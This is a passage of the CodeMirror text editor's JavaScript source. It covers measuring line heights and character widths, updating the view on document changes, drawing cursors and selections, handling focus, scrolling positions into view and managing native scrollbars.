      if (boxIsAfter(start, x, y, true) && start.top > y)
        { part = order[index - 1]; }
    }
    return part
  }

  function coordsBidiPartWrapped(cm, lineObj, _lineNo, preparedMeasure,
order, x, y) {
    // In a wrapped line, rtl text on wrapping boundaries can do things
    // that don't correspond to the ordering in our `order` array at
    // all, so a binary search doesn't work, and we want to return a
    // part that only spans one line so that the binary search in
    // coordsCharInner is safe. As such, we first find the extent of the
    // wrapped line, and then do a flat search in which we discard any
    // spans that aren't on the line.
    var ref = wrappedLineExtent(cm, lineObj, preparedMeasure, y);
    var begin = ref.begin;
    var end = ref.end;
    if (/\s/.test(lineObj.text.charAt(end - 1))) { end--; }
    var part = null, closestDist = null;
    for (var i = 0; i < order.length; i++) {
      var p = order[i];
      if (p.from >= end || p.to <= begin) { continue }
      var ltr = p.level != 1;
      var endX = measureCharPrepared(cm, preparedMeasure, ltr ?
Math.min(end, p.to) - 1 : Math.max(begin, p.from)).right;
      // Weigh against spans ending before this, so that they are only
      // picked if nothing ends after
      var dist = endX < x ? x - endX + 1e9 : endX - x;
      if (!part || closestDist > dist) {
        part = p;
        closestDist = dist;
      }
    }
    if (!part) { part = order[order.length - 1]; }
    // Clip the part to the wrapped line.
    if (part.from < begin) { part = {from: begin, to: part.to, level:
part.level}; }
    if (part.to > end) { part = {from: part.from, to: end, level:
part.level}; }
    return part
  }

  var measureText;
  // Compute the default text height.
  function textHeight(display) {
    if (display.cachedTextHeight != null) { return display.cachedTextHeight
}
    if (measureText == null) {
      measureText = elt("pre", null,
"CodeMirror-line-like");
      // Measure a bunch of lines, for browsers that compute
      // fractional heights.
      for (var i = 0; i < 49; ++i) {
        measureText.appendChild(document.createTextNode("x"));
        measureText.appendChild(elt("br"));
      }
      measureText.appendChild(document.createTextNode("x"));
    }
    removeChildrenAndAdd(display.measure, measureText);
    var height = measureText.offsetHeight / 50;
    if (height > 3) { display.cachedTextHeight = height; }
    removeChildren(display.measure);
    return height || 1
  }

  // Compute the default character width.
  function charWidth(display) {
    if (display.cachedCharWidth != null) { return display.cachedCharWidth }
    var anchor = elt("span", "xxxxxxxxxx");
    var pre = elt("pre", [anchor],
"CodeMirror-line-like");
    removeChildrenAndAdd(display.measure, pre);
    var rect = anchor.getBoundingClientRect(), width = (rect.right -
rect.left) / 10;
    if (width > 2) { display.cachedCharWidth = width; }
    return width || 10
  }

  // Do a bulk-read of the DOM positions and sizes needed to draw the
  // view, so that we don't interleave reading and writing to the DOM.
  function getDimensions(cm) {
    var d = cm.display, left = {}, width = {};
    var gutterLeft = d.gutters.clientLeft;
    for (var n = d.gutters.firstChild, i = 0; n; n = n.nextSibling, ++i) {
      var id = cm.display.gutterSpecs[i].className;
      left[id] = n.offsetLeft + n.clientLeft + gutterLeft;
      width[id] = n.clientWidth;
    }
    return {fixedPos: compensateForHScroll(d),
            gutterTotalWidth: d.gutters.offsetWidth,
            gutterLeft: left,
            gutterWidth: width,
            wrapperWidth: d.wrapper.clientWidth}
  }

  // Computes display.scroller.scrollLeft + display.gutters.offsetWidth,
  // but using getBoundingClientRect to get a sub-pixel-accurate
  // result.
  function compensateForHScroll(display) {
    return display.scroller.getBoundingClientRect().left -
display.sizer.getBoundingClientRect().left
  }

  // Returns a function that estimates the height of a line, to use as
  // first approximation until the line becomes visible (and is thus
  // properly measurable).
  function estimateHeight(cm) {
    var th = textHeight(cm.display), wrapping = cm.options.lineWrapping;
    var perLine = wrapping && Math.max(5,
cm.display.scroller.clientWidth / charWidth(cm.display) - 3);
    return function (line) {
      if (lineIsHidden(cm.doc, line)) { return 0 }

      var widgetsHeight = 0;
      if (line.widgets) { for (var i = 0; i < line.widgets.length; i++)
{
        if (line.widgets[i].height) { widgetsHeight +=
line.widgets[i].height; }
      } }

      if (wrapping)
        { return widgetsHeight + (Math.ceil(line.text.length / perLine) ||
1) * th }
      else
        { return widgetsHeight + th }
    }
  }

  function estimateLineHeights(cm) {
    var doc = cm.doc, est = estimateHeight(cm);
    doc.iter(function (line) {
      var estHeight = est(line);
      if (estHeight != line.height) { updateLineHeight(line, estHeight); }
    });
  }

  // Given a mouse event, find the corresponding position. If liberal
  // is false, it checks whether a gutter or scrollbar was clicked,
  // and returns null if it was. forRect is used by rectangular
  // selections, and tries to estimate a character position even for
  // coordinates beyond the right of the text.
  function posFromMouse(cm, e, liberal, forRect) {
    var display = cm.display;
    if (!liberal &&
e_target(e).getAttribute("cm-not-content") == "true") {
return null }

    var x, y, space = display.lineSpace.getBoundingClientRect();
    // Fails unpredictably on IE[67] when mouse is dragged around quickly.
    try { x = e.clientX - space.left; y = e.clientY - space.top; }
    catch (e$1) { return null }
    var coords = coordsChar(cm, x, y), line;
    if (forRect && coords.xRel > 0 && (line =
getLine(cm.doc, coords.line).text).length == coords.ch) {
      var colDiff = countColumn(line, line.length, cm.options.tabSize) -
line.length;
      coords = Pos(coords.line, Math.max(0, Math.round((x -
paddingH(cm.display).left) / charWidth(cm.display)) - colDiff));
    }
    return coords
  }

  // Find the view element corresponding to a given line. Return null
  // when the line isn't visible.
  function findViewIndex(cm, n) {
    if (n >= cm.display.viewTo) { return null }
    n -= cm.display.viewFrom;
    if (n < 0) { return null }
    var view = cm.display.view;
    for (var i = 0; i < view.length; i++) {
      n -= view[i].size;
      if (n < 0) { return i }
    }
  }

  // Updates the display.view data structure for a given change to the
  // document. From and to are in pre-change coordinates. Lendiff is
  // the amount of lines added or subtracted by the change. This is
  // used for changes that span multiple lines, or change the way
  // lines are divided into visual lines. regLineChange (below)
  // registers single-line changes.
  function regChange(cm, from, to, lendiff) {
    if (from == null) { from = cm.doc.first; }
    if (to == null) { to = cm.doc.first + cm.doc.size; }
    if (!lendiff) { lendiff = 0; }

    var display = cm.display;
    if (lendiff && to < display.viewTo &&
        (display.updateLineNumbers == null || display.updateLineNumbers
> from))
      { display.updateLineNumbers = from; }

    cm.curOp.viewChanged = true;

    if (from >= display.viewTo) { // Change after
      if (sawCollapsedSpans && visualLineNo(cm.doc, from) <
display.viewTo)
        { resetView(cm); }
    } else if (to <= display.viewFrom) { // Change before
      if (sawCollapsedSpans && visualLineEndNo(cm.doc, to +
lendiff) > display.viewFrom) {
        resetView(cm);
      } else {
        display.viewFrom += lendiff;
        display.viewTo += lendiff;
      }
    } else if (from <= display.viewFrom && to >=
display.viewTo) { // Full overlap
      resetView(cm);
    } else if (from <= display.viewFrom) { // Top overlap
      var cut = viewCuttingPoint(cm, to, to + lendiff, 1);
      if (cut) {
        display.view = display.view.slice(cut.index);
        display.viewFrom = cut.lineN;
        display.viewTo += lendiff;
      } else {
        resetView(cm);
      }
    } else if (to >= display.viewTo) { // Bottom overlap
      var cut$1 = viewCuttingPoint(cm, from, from, -1);
      if (cut$1) {
        display.view = display.view.slice(0, cut$1.index);
        display.viewTo = cut$1.lineN;
      } else {
        resetView(cm);
      }
    } else { // Gap in the middle
      var cutTop = viewCuttingPoint(cm, from, from, -1);
      var cutBot = viewCuttingPoint(cm, to, to + lendiff, 1);
      if (cutTop && cutBot) {
        display.view = display.view.slice(0, cutTop.index)
          .concat(buildViewArray(cm, cutTop.lineN, cutBot.lineN))
          .concat(display.view.slice(cutBot.index));
        display.viewTo += lendiff;
      } else {
        resetView(cm);
      }
    }

    var ext = display.externalMeasured;
    if (ext) {
      if (to < ext.lineN)
        { ext.lineN += lendiff; }
      else if (from < ext.lineN + ext.size)
        { display.externalMeasured = null; }
    }
  }

  // Register a change to a single line. Type must be one of
"text",
  // "gutter", "class", "widget"
  function regLineChange(cm, line, type) {
    cm.curOp.viewChanged = true;
    var display = cm.display, ext = cm.display.externalMeasured;
    if (ext && line >= ext.lineN && line < ext.lineN
+ ext.size)
      { display.externalMeasured = null; }

    if (line < display.viewFrom || line >= display.viewTo) { return }
    var lineView = display.view[findViewIndex(cm, line)];
    if (lineView.node == null) { return }
    var arr = lineView.changes || (lineView.changes = []);
    if (indexOf(arr, type) == -1) { arr.push(type); }
  }

  // Clear the view.
  function resetView(cm) {
    cm.display.viewFrom = cm.display.viewTo = cm.doc.first;
    cm.display.view = [];
    cm.display.viewOffset = 0;
  }

  function viewCuttingPoint(cm, oldN, newN, dir) {
    var index = findViewIndex(cm, oldN), diff, view = cm.display.view;
    if (!sawCollapsedSpans || newN == cm.doc.first + cm.doc.size)
      { return {index: index, lineN: newN} }
    var n = cm.display.viewFrom;
    for (var i = 0; i < index; i++)
      { n += view[i].size; }
    if (n != oldN) {
      if (dir > 0) {
        if (index == view.length - 1) { return null }
        diff = (n + view[index].size) - oldN;
        index++;
      } else {
        diff = n - oldN;
      }
      oldN += diff; newN += diff;
    }
    while (visualLineNo(cm.doc, newN) != newN) {
      if (index == (dir < 0 ? 0 : view.length - 1)) { return null }
      newN += dir * view[index - (dir < 0 ? 1 : 0)].size;
      index += dir;
    }
    return {index: index, lineN: newN}
  }

  // Force the view to cover a given range, adding empty view element
  // or clipping off existing ones as needed.
  function adjustView(cm, from, to) {
    var display = cm.display, view = display.view;
    if (view.length == 0 || from >= display.viewTo || to <=
display.viewFrom) {
      display.view = buildViewArray(cm, from, to);
      display.viewFrom = from;
    } else {
      if (display.viewFrom > from)
        { display.view = buildViewArray(cm, from,
display.viewFrom).concat(display.view); }
      else if (display.viewFrom < from)
        { display.view = display.view.slice(findViewIndex(cm, from)); }
      display.viewFrom = from;
      if (display.viewTo < to)
        { display.view = display.view.concat(buildViewArray(cm,
display.viewTo, to)); }
      else if (display.viewTo > to)
        { display.view = display.view.slice(0, findViewIndex(cm, to)); }
    }
    display.viewTo = to;
  }

  // Count the number of lines in the view whose DOM representation is
  // out of date (or nonexistent).
  function countDirtyView(cm) {
    var view = cm.display.view, dirty = 0;
    for (var i = 0; i < view.length; i++) {
      var lineView = view[i];
      if (!lineView.hidden && (!lineView.node || lineView.changes))
{ ++dirty; }
    }
    return dirty
  }

  function updateSelection(cm) {
    cm.display.input.showSelection(cm.display.input.prepareSelection());
  }

  function prepareSelection(cm, primary) {
    if ( primary === void 0 ) primary = true;

    var doc = cm.doc, result = {};
    var curFragment = result.cursors = document.createDocumentFragment();
    var selFragment = result.selection = document.createDocumentFragment();

    for (var i = 0; i < doc.sel.ranges.length; i++) {
      if (!primary && i == doc.sel.primIndex) { continue }
      var range = doc.sel.ranges[i];
      if (range.from().line >= cm.display.viewTo || range.to().line <
cm.display.viewFrom) { continue }
      var collapsed = range.empty();
      if (collapsed || cm.options.showCursorWhenSelecting)
        { drawSelectionCursor(cm, range.head, curFragment); }
      if (!collapsed)
        { drawSelectionRange(cm, range, selFragment); }
    }
    return result
  }

  // Draws a cursor for the given range
  function drawSelectionCursor(cm, head, output) {
    var pos = cursorCoords(cm, head, "div", null, null,
!cm.options.singleCursorHeightPerLine);

    var cursor = output.appendChild(elt("div",
"\u00a0", "CodeMirror-cursor"));
    cursor.style.left = pos.left + "px";
    cursor.style.top = pos.top + "px";
    cursor.style.height = Math.max(0, pos.bottom - pos.top) *
cm.options.cursorHeight + "px";

    if (pos.other) {
      // Secondary cursor, shown when on a 'jump' in
bi-directional text
      var otherCursor = output.appendChild(elt("div",
"\u00a0", "CodeMirror-cursor
CodeMirror-secondarycursor"));
      otherCursor.style.display = "";
      otherCursor.style.left = pos.other.left + "px";
      otherCursor.style.top = pos.other.top + "px";
      otherCursor.style.height = (pos.other.bottom - pos.other.top) * .85 +
"px";
    }
  }

  function cmpCoords(a, b) { return a.top - b.top || a.left - b.left }

  // Draws the given range as a highlighted selection
  function drawSelectionRange(cm, range, output) {
    var display = cm.display, doc = cm.doc;
    var fragment = document.createDocumentFragment();
    var padding = paddingH(cm.display), leftSide = padding.left;
    var rightSide = Math.max(display.sizerWidth, displayWidth(cm) -
display.sizer.offsetLeft) - padding.right;
    var docLTR = doc.direction == "ltr";

    function add(left, top, width, bottom) {
      if (top < 0) { top = 0; }
      top = Math.round(top);
      bottom = Math.round(bottom);
      fragment.appendChild(elt("div", null,
"CodeMirror-selected", ("position: absolute; left: " +
left + "px;\n                             top: " + top +
"px; width: " + (width == null ? rightSide - left : width) +
"px;\n                             height: " + (bottom - top) +
"px")));
    }

    function drawForLine(line, fromArg, toArg) {
      var lineObj = getLine(doc, line);
      var lineLen = lineObj.text.length;
      var start, end;
      function coords(ch, bias) {
        return charCoords(cm, Pos(line, ch), "div", lineObj,
bias)
      }

      function wrapX(pos, dir, side) {
        var extent = wrappedLineExtentChar(cm, lineObj, null, pos);
        var prop = (dir == "ltr") == (side == "after")
? "left" : "right";
        var ch = side == "after" ? extent.begin : extent.end -
(/\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);
        return coords(ch, prop)[prop]
      }

      var order = getOrder(lineObj, doc.direction);
      iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen :
toArg, function (from, to, dir, i) {
        var ltr = dir == "ltr";
        var fromPos = coords(from, ltr ? "left" :
"right");
        var toPos = coords(to - 1, ltr ? "right" :
"left");

        var openStart = fromArg == null && from == 0, openEnd =
toArg == null && to == lineLen;
        var first = i == 0, last = !order || i == order.length - 1;
        if (toPos.top - fromPos.top <= 3) { // Single line
          var openLeft = (docLTR ? openStart : openEnd) && first;
          var openRight = (docLTR ? openEnd : openStart) && last;
          var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;
          var right = openRight ? rightSide : (ltr ? toPos :
fromPos).right;
          add(left, fromPos.top, right - left, fromPos.bottom);
        } else { // Multiple lines
          var topLeft, topRight, botLeft, botRight;
          if (ltr) {
            topLeft = docLTR && openStart && first ?
leftSide : fromPos.left;
            topRight = docLTR ? rightSide : wrapX(from, dir,
"before");
            botLeft = docLTR ? leftSide : wrapX(to, dir,
"after");
            botRight = docLTR && openEnd && last ?
rightSide : toPos.right;
          } else {
            topLeft = !docLTR ? leftSide : wrapX(from, dir,
"before");
            topRight = !docLTR && openStart && first ?
rightSide : fromPos.right;
            botLeft = !docLTR && openEnd && last ? leftSide
: toPos.left;
            botRight = !docLTR ? rightSide : wrapX(to, dir,
"after");
          }
          add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);
          if (fromPos.bottom < toPos.top) { add(leftSide,
fromPos.bottom, null, toPos.top); }
          add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);
        }

        if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos;
}
        if (cmpCoords(toPos, start) < 0) { start = toPos; }
        if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }
        if (cmpCoords(toPos, end) < 0) { end = toPos; }
      });
      return {start: start, end: end}
    }

    var sFrom = range.from(), sTo = range.to();
    if (sFrom.line == sTo.line) {
      drawForLine(sFrom.line, sFrom.ch, sTo.ch);
    } else {
      var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc,
sTo.line);
      var singleVLine = visualLine(fromLine) == visualLine(toLine);
      var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ?
fromLine.text.length + 1 : null).end;
      var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null,
sTo.ch).start;
      if (singleVLine) {
        if (leftEnd.top < rightStart.top - 2) {
          add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);
          add(leftSide, rightStart.top, rightStart.left,
rightStart.bottom);
        } else {
          add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right,
leftEnd.bottom);
        }
      }
      if (leftEnd.bottom < rightStart.top)
        { add(leftSide, leftEnd.bottom, null, rightStart.top); }
    }

    output.appendChild(fragment);
  }

  // Cursor-blinking
  function restartBlink(cm) {
    if (!cm.state.focused) { return }
    var display = cm.display;
    clearInterval(display.blinker);
    var on = true;
    display.cursorDiv.style.visibility = "";
    if (cm.options.cursorBlinkRate > 0)
      { display.blinker = setInterval(function () { return
display.cursorDiv.style.visibility = (on = !on) ? "" :
"hidden"; },
        cm.options.cursorBlinkRate); }
    else if (cm.options.cursorBlinkRate < 0)
      { display.cursorDiv.style.visibility = "hidden"; }
  }

  function ensureFocus(cm) {
    if (!cm.state.focused) { cm.display.input.focus(); onFocus(cm); }
  }

  function delayBlurEvent(cm) {
    cm.state.delayingBlurEvent = true;
    setTimeout(function () { if (cm.state.delayingBlurEvent) {
      cm.state.delayingBlurEvent = false;
      onBlur(cm);
    } }, 100);
  }

  function onFocus(cm, e) {
    if (cm.state.delayingBlurEvent) { cm.state.delayingBlurEvent = false; }

    if (cm.options.readOnly == "nocursor") { return }
    if (!cm.state.focused) {
      signal(cm, "focus", cm, e);
      cm.state.focused = true;
      addClass(cm.display.wrapper, "CodeMirror-focused");
      // This test prevents this from firing when a context
      // menu is closed (since the input reset would kill the
      // select-all detection hack)
      if (!cm.curOp && cm.display.selForContextMenu != cm.doc.sel)
{
        cm.display.input.reset();
        if (webkit) { setTimeout(function () { return
cm.display.input.reset(true); }, 20); } // Issue #1730
      }
      cm.display.input.receivedFocus();
    }
    restartBlink(cm);
  }
  function onBlur(cm, e) {
    if (cm.state.delayingBlurEvent) { return }

    if (cm.state.focused) {
      signal(cm, "blur", cm, e);
      cm.state.focused = false;
      rmClass(cm.display.wrapper, "CodeMirror-focused");
    }
    clearInterval(cm.display.blinker);
    setTimeout(function () { if (!cm.state.focused) { cm.display.shift =
false; } }, 150);
  }

  // Read the actual heights of the rendered lines, and update their
  // stored heights to match.
  function updateHeightsInViewport(cm) {
    var display = cm.display;
    var prevBottom = display.lineDiv.offsetTop;
    for (var i = 0; i < display.view.length; i++) {
      var cur = display.view[i], wrapping = cm.options.lineWrapping;
      var height = (void 0), width = 0;
      if (cur.hidden) { continue }
      if (ie && ie_version < 8) {
        var bot = cur.node.offsetTop + cur.node.offsetHeight;
        height = bot - prevBottom;
        prevBottom = bot;
      } else {
        var box = cur.node.getBoundingClientRect();
        height = box.bottom - box.top;
        // Check that lines don't extend past the right of the current
        // editor width
        if (!wrapping && cur.text.firstChild)
          { width = cur.text.firstChild.getBoundingClientRect().right -
box.left - 1; }
      }
      var diff = cur.line.height - height;
      if (diff > .005 || diff < -.005) {
        updateLineHeight(cur.line, height);
        updateWidgetHeight(cur.line);
        if (cur.rest) { for (var j = 0; j < cur.rest.length; j++)
          { updateWidgetHeight(cur.rest[j]); } }
      }
      if (width > cm.display.sizerWidth) {
        var chWidth = Math.ceil(width / charWidth(cm.display));
        if (chWidth > cm.display.maxLineLength) {
          cm.display.maxLineLength = chWidth;
          cm.display.maxLine = cur.line;
          cm.display.maxLineChanged = true;
        }
      }
    }
  }

  // Read and store the height of line widgets associated with the
  // given line.
  function updateWidgetHeight(line) {
    if (line.widgets) { for (var i = 0; i < line.widgets.length; ++i) {
      var w = line.widgets[i], parent = w.node.parentNode;
      if (parent) { w.height = parent.offsetHeight; }
    } }
  }

  // Compute the lines that are visible in a given viewport (defaults
  // the the current scroll position). viewport may contain top,
  // height, and ensure (see op.scrollToPos) properties.
  function visibleLines(display, doc, viewport) {
    var top = viewport && viewport.top != null ? Math.max(0,
viewport.top) : display.scroller.scrollTop;
    top = Math.floor(top - paddingTop(display));
    var bottom = viewport && viewport.bottom != null ?
viewport.bottom : top + display.wrapper.clientHeight;

    var from = lineAtHeight(doc, top), to = lineAtHeight(doc, bottom);
    // Ensure is a {from: {line, ch}, to: {line, ch}} object, and
    // forces those lines into the viewport (if possible).
    if (viewport && viewport.ensure) {
      var ensureFrom = viewport.ensure.from.line, ensureTo =
viewport.ensure.to.line;
      if (ensureFrom < from) {
        from = ensureFrom;
        to = lineAtHeight(doc, heightAtLine(getLine(doc, ensureFrom)) +
display.wrapper.clientHeight);
      } else if (Math.min(ensureTo, doc.lastLine()) >= to) {
        from = lineAtHeight(doc, heightAtLine(getLine(doc, ensureTo)) -
display.wrapper.clientHeight);
        to = ensureTo;
      }
    }
    return {from: from, to: Math.max(to, from + 1)}
  }

  // SCROLLING THINGS INTO VIEW

  // If an editor sits on the top or bottom of the window, partially
  // scrolled out of view, this ensures that the cursor is visible.
  function maybeScrollWindow(cm, rect) {
    if (signalDOMEvent(cm, "scrollCursorIntoView")) { return }

    var display = cm.display, box = display.sizer.getBoundingClientRect(),
doScroll = null;
    if (rect.top + box.top < 0) { doScroll = true; }
    else if (rect.bottom + box.top > (window.innerHeight ||
document.documentElement.clientHeight)) { doScroll = false; }
    if (doScroll != null && !phantom) {
      var scrollNode = elt("div", "\u200b", null,
("position: absolute;\n                         top: " +
(rect.top - display.viewOffset - paddingTop(cm.display)) + "px;\n     
                   height: " + (rect.bottom - rect.top + scrollGap(cm)
+ display.barHeight) + "px;\n                         left: " +
(rect.left) + "px; width: " + (Math.max(2, rect.right -
rect.left)) + "px;"));
      cm.display.lineSpace.appendChild(scrollNode);
      scrollNode.scrollIntoView(doScroll);
      cm.display.lineSpace.removeChild(scrollNode);
    }
  }

  // Scroll a given position into view (immediately), verifying that
  // it actually became visible (as line heights are accurately
  // measured, the position of something may 'drift' during
drawing).
  function scrollPosIntoView(cm, pos, end, margin) {
    if (margin == null) { margin = 0; }
    var rect;
    if (!cm.options.lineWrapping && pos == end) {
      // Set pos and end to the cursor positions around the character pos
sticks to
      // If pos.sticky == "before", that is around pos.ch - 1,
otherwise around pos.ch
      // If pos == Pos(_, 0, "before"), pos and end are unchanged
      pos = pos.ch ? Pos(pos.line, pos.sticky == "before" ?
pos.ch - 1 : pos.ch, "after") : pos;
      end = pos.sticky == "before" ? Pos(pos.line, pos.ch + 1,
"before") : pos;
    }
    for (var limit = 0; limit < 5; limit++) {
      var changed = false;
      var coords = cursorCoords(cm, pos);
      var endCoords = !end || end == pos ? coords : cursorCoords(cm, end);
      rect = {left: Math.min(coords.left, endCoords.left),
              top: Math.min(coords.top, endCoords.top) - margin,
              right: Math.max(coords.left, endCoords.left),
              bottom: Math.max(coords.bottom, endCoords.bottom) + margin};
      var scrollPos = calculateScrollPos(cm, rect);
      var startTop = cm.doc.scrollTop, startLeft = cm.doc.scrollLeft;
      if (scrollPos.scrollTop != null) {
        updateScrollTop(cm, scrollPos.scrollTop);
        if (Math.abs(cm.doc.scrollTop - startTop) > 1) { changed = true;
}
      }
      if (scrollPos.scrollLeft != null) {
        setScrollLeft(cm, scrollPos.scrollLeft);
        if (Math.abs(cm.doc.scrollLeft - startLeft) > 1) { changed =
true; }
      }
      if (!changed) { break }
    }
    return rect
  }

  // Scroll a given set of coordinates into view (immediately).
  function scrollIntoView(cm, rect) {
    var scrollPos = calculateScrollPos(cm, rect);
    if (scrollPos.scrollTop != null) { updateScrollTop(cm,
scrollPos.scrollTop); }
    if (scrollPos.scrollLeft != null) { setScrollLeft(cm,
scrollPos.scrollLeft); }
  }

  // Calculate a new scroll position needed to scroll the given
  // rectangle into view. Returns an object with scrollTop and
  // scrollLeft properties. When these are undefined, the
  // vertical/horizontal position does not need to be adjusted.
  function calculateScrollPos(cm, rect) {
    var display = cm.display, snapMargin = textHeight(cm.display);
    if (rect.top < 0) { rect.top = 0; }
    var screentop = cm.curOp && cm.curOp.scrollTop != null ?
cm.curOp.scrollTop : display.scroller.scrollTop;
    var screen = displayHeight(cm), result = {};
    if (rect.bottom - rect.top > screen) { rect.bottom = rect.top +
screen; }
    var docBottom = cm.doc.height + paddingVert(display);
    var atTop = rect.top < snapMargin, atBottom = rect.bottom >
docBottom - snapMargin;
    if (rect.top < screentop) {
      result.scrollTop = atTop ? 0 : rect.top;
    } else if (rect.bottom > screentop + screen) {
      var newTop = Math.min(rect.top, (atBottom ? docBottom : rect.bottom)
- screen);
      if (newTop != screentop) { result.scrollTop = newTop; }
    }

    var screenleft = cm.curOp && cm.curOp.scrollLeft != null ?
cm.curOp.scrollLeft : display.scroller.scrollLeft;
    var screenw = displayWidth(cm) - (cm.options.fixedGutter ?
display.gutters.offsetWidth : 0);
    var tooWide = rect.right - rect.left > screenw;
    if (tooWide) { rect.right = rect.left + screenw; }
    if (rect.left < 10)
      { result.scrollLeft = 0; }
    else if (rect.left < screenleft)
      { result.scrollLeft = Math.max(0, rect.left - (tooWide ? 0 : 10)); }
    else if (rect.right > screenw + screenleft - 3)
      { result.scrollLeft = rect.right + (tooWide ? 0 : 10) - screenw; }
    return result
  }

  // Store a relative adjustment to the scroll position in the current
  // operation (to be applied when the operation finishes).
  function addToScrollTop(cm, top) {
    if (top == null) { return }
    resolveScrollToPos(cm);
    cm.curOp.scrollTop = (cm.curOp.scrollTop == null ? cm.doc.scrollTop :
cm.curOp.scrollTop) + top;
  }

  // Make sure that at the end of the operation the current cursor is
  // shown.
  function ensureCursorVisible(cm) {
    resolveScrollToPos(cm);
    var cur = cm.getCursor();
    cm.curOp.scrollToPos = {from: cur, to: cur, margin:
cm.options.cursorScrollMargin};
  }

  function scrollToCoords(cm, x, y) {
    if (x != null || y != null) { resolveScrollToPos(cm); }
    if (x != null) { cm.curOp.scrollLeft = x; }
    if (y != null) { cm.curOp.scrollTop = y; }
  }

  function scrollToRange(cm, range) {
    resolveScrollToPos(cm);
    cm.curOp.scrollToPos = range;
  }

  // When an operation has its scrollToPos property set, and another
  // scroll action is applied before the end of the operation, this
  // 'simulates' scrolling that position into view in a cheap
way, so
  // that the effect of intermediate scroll commands is not ignored.
  function resolveScrollToPos(cm) {
    var range = cm.curOp.scrollToPos;
    if (range) {
      cm.curOp.scrollToPos = null;
      var from = estimateCoords(cm, range.from), to = estimateCoords(cm,
range.to);
      scrollToCoordsRange(cm, from, to, range.margin);
    }
  }

  function scrollToCoordsRange(cm, from, to, margin) {
    var sPos = calculateScrollPos(cm, {
      left: Math.min(from.left, to.left),
      top: Math.min(from.top, to.top) - margin,
      right: Math.max(from.right, to.right),
      bottom: Math.max(from.bottom, to.bottom) + margin
    });
    scrollToCoords(cm, sPos.scrollLeft, sPos.scrollTop);
  }

  // Sync the scrollable area and scrollbars, ensure the viewport
  // covers the visible area.
  function updateScrollTop(cm, val) {
    if (Math.abs(cm.doc.scrollTop - val) < 2) { return }
    if (!gecko) { updateDisplaySimple(cm, {top: val}); }
    setScrollTop(cm, val, true);
    if (gecko) { updateDisplaySimple(cm); }
    startWorker(cm, 100);
  }

  function setScrollTop(cm, val, forceScroll) {
    val = Math.max(0, Math.min(cm.display.scroller.scrollHeight -
cm.display.scroller.clientHeight, val));
    if (cm.display.scroller.scrollTop == val && !forceScroll) {
return }
    cm.doc.scrollTop = val;
    cm.display.scrollbars.setScrollTop(val);
    if (cm.display.scroller.scrollTop != val) {
cm.display.scroller.scrollTop = val; }
  }

  // Sync scroller and scrollbar, ensure the gutter elements are
  // aligned.
  function setScrollLeft(cm, val, isScroller, forceScroll) {
    val = Math.max(0, Math.min(val, cm.display.scroller.scrollWidth -
cm.display.scroller.clientWidth));
    if ((isScroller ? val == cm.doc.scrollLeft : Math.abs(cm.doc.scrollLeft
- val) < 2) && !forceScroll) { return }
    cm.doc.scrollLeft = val;
    alignHorizontally(cm);
    if (cm.display.scroller.scrollLeft != val) {
cm.display.scroller.scrollLeft = val; }
    cm.display.scrollbars.setScrollLeft(val);
  }

  // SCROLLBARS

  // Prepare DOM reads needed to update the scrollbars. Done in one
  // shot to minimize update/measure roundtrips.
  function measureForScrollbars(cm) {
    var d = cm.display, gutterW = d.gutters.offsetWidth;
    var docH = Math.round(cm.doc.height + paddingVert(cm.display));
    return {
      clientHeight: d.scroller.clientHeight,
      viewHeight: d.wrapper.clientHeight,
      scrollWidth: d.scroller.scrollWidth, clientWidth:
d.scroller.clientWidth,
      viewWidth: d.wrapper.clientWidth,
      barLeft: cm.options.fixedGutter ? gutterW : 0,
      docHeight: docH,
      scrollHeight: docH + scrollGap(cm) + d.barHeight,
      nativeBarWidth: d.nativeBarWidth,
      gutterWidth: gutterW
    }
  }

  var NativeScrollbars = function(place, scroll, cm) {
    this.cm = cm;
    var vert = this.vert = elt("div", [elt("div", null,
null, "min-width: 1px")], "CodeMirror-vscrollbar");
    var horiz = this.horiz = elt("div", [elt("div",
null, null, "height: 100%; min-height: 1px")],
"CodeMirror-hscrollbar");
    vert.tabIndex = horiz.tabIndex = -1;
    place(vert); place(horiz);

    on(vert, "scroll", function () {
      if (vert.clientHeight) { scroll(vert.scrollTop,
"vertical"); }
    });
    on(horiz, "scroll", function () {
      if (horiz.clientWidth) { scroll(horiz.scrollLeft,
"horizontal"); }
    });

    this.checkedZeroWidth = false;
    // Need to set a minimum width to see the scrollbar on IE7 (but must
not set it on IE8).
    if (ie && ie_version < 8) { this.horiz.style.minHeight =
this.vert.style.minWidth = "18px"; }
  };

  NativeScrollbars.prototype.update = function (measure) {
    var needsH = measure.scrollWidth > measure.clientWidth + 1;
    var needsV = measure.scrollHeight > measure.clientHeight + 1;
    var sWidth = measure.nativeBarWidth;

    if (needsV) {
      this.vert.style.display = "block";
      this.vert.style.bottom = needsH ? sWidth + "px" :
"0";
      var totalHeight = measure.viewHeight - (needsH ? sWidth : 0);
      // A bug in IE8 can cause this value to be negative, so guard it.
      this.vert.firstChild.style.height =
        Math.max(0, measure.scrollHeight - measure.clientHeight +
totalHeight) + "px";
    } else {
      this.vert.style.display = "";
      this.vert.firstChild.style.height = "0";
    }

    if (needsH) {
      this.horiz.style.display = "block";
      this.horiz.style.right = needsV ? sWidth + "px" :
"0";
      this.horiz.style.left = measure.barLeft + "px";
      var totalWidth = measure.viewWidth - measure.barLeft - (needsV ?
sWidth : 0);
      this.horiz.firstChild.style.width =
        Math.max(0, measure.scrollWidth - measure.clientWidth + totalWidth)
+ "px";
    } else {
      this.horiz.style.display = "";
      this.horiz.firstChild.style.width = "0";
    }

    if (!this.checkedZeroWidth && measure.clientHeight > 0) {
      if (sWidth == 0) { this.zeroWidthHack(); }
      this.checkedZeroWidth = true;
    }

    return {right: needsV ? sWidth : 0, bottom: needsH ? sWidth : 0}
  };

  NativeScrollbars.prototype.setScrollLeft = function (pos) {
    if (this.horiz.scrollLeft != pos) { this.horiz.scrollLeft = pos; }
